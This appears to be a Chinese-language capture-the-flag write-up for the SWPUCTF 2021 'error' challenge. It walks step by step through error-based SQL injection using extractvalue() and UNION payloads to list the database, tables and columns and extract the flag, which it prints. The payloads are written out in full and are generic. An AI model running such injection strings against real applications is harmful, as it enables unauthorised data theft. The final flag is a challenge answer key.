Nssctf [SWPUCTF 2021 新生賽]error

karasbai發表於2024-08-19

進入之後是一個搜尋框,裡面叫你傳一個id值,先看一看網頁程式碼,發現一端後端資料庫程式碼,說明是報錯注入

extractValue()報錯注入

先進行欄位判斷,使用 " 1' group by 1# " 來判斷

1' group by 1#

正常回顯

出錯回顯

說明有三個欄位,接著進行資料庫名的爆破

1' union select 1,extractvalue(1,concat('~',(select database()))),3#

發現test_db,繼續進行爆表

1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3#

出現test_tb,users表名,在test_tb表中繼續進行爆欄位名

1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3#

發現flag,檢視欄位內容

1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))#

?怎麼只有一半,是因為回顯不夠嗎,那我們自己設定一個回顯個數

1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,32) from test_tb)))#

因為我們第一次爆出的欄位內容為30個,所以我們從第31個欄位繼續顯示

兩段flag進行拼接就得到flag啦

NSSCTF{781ab938-3144-4bd4-962a-a3e32558afd5}

相關文章